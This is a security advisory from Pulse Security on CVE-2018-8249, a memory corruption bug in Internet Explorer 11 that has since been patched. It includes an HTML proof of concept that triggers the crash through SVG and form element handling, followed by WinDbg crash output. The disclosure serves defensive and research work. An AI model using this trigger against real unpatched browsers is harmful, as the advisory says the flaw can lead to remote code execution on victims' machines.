Pulse Security

# VULNERABILITY ADVISORY

| | |
|---|---|
| Title | Microsoft Internet Explorer EnterBlock Memory Corruption (CVE-2018-8249) |
| Date Released | 18/06/2018 |
| CVE | CVE-2018-8249 |
| Author | Scott Bell |
| Vendor Website | http://www.microsoft.com/ |
| Affected Software | Internet Explorer 11 |

## SUMMARY

A memory corruption vulnerability exists in Microsoft Internet Explorer. The corruption happens due to the destruction and reuse of an element processed by Internet Explorer. An attacker can use this vulnerability to obtain Remote Code Execution and compromise a victim's machine.

Microsoft fixed this vulnerability in the June 2018 patch cycle. Pulse Security recommends applying the latest updates to mitigate this vulnerability.

## PROOF OF CONCEPT

The following HTML can be used to reproduce the vulnerability

HTML

```
<html>
<head>
<script>
function boom() {
alert("Click me!")
try {document.getElementById("a").appendChild(form); } catch(e) { }
}
</script>
</head>
<body id="a">
<form id="form">
<svg marker-end="url('a')" >
<image onload="boom()"></image>
<pattern id="pattern">
<line></line>
</pattern>
<textPath xlink:href="#pattern" />
</svg>
</form>
</body>
</html>
```

The following table shows sample debugger output:

WINDBG OUTPUT

```
(1738.1664): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=75ff5756 ebx=3eeb7000 ecx=14db7800 edx=3eeb70e4 esi=0508beb0 edi=0508c1e4
eip=75ff5756 esp=0508be9c ebp=0508bf30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Windows\system32\urlmon.dll -
urlmon!SetSoftwareUpdateAdvertisementState+0x476:
75ff5756 004000          add     byte ptr [eax],al          ds:0023:75ff5756=00
1:018> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0508bf30 5b473b2a urlmon!SetSoftwareUpdateAdvertisementState+0x476
0508bf8c 5b473a66 MSHTML!Layout::LayoutBuilder::EnterBlock+0xbd
0508bf9c 5b6aea45 MSHTML!Layout::LayoutBuilder::Move+0x61
0508bff0 5b0625f0 MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x12f
0508c0b4 5b063887 MSHTML!Layout::PageCollection::FormatPage+0x167
0508c1bc 5b06daaf MSHTML!Layout::PageCollection::LayoutPagesCore+0x2c3
0508c1e8 5b06d2b2 MSHTML!Layout::PageCollection::LayoutPages+0xca
0508c2a0 5b06c73c MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x3b8
0508c328 5b2934e8 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xec
0508c37c 5b620941 MSHTML!CMarkupPageLayout::DoLayout+0xb4
```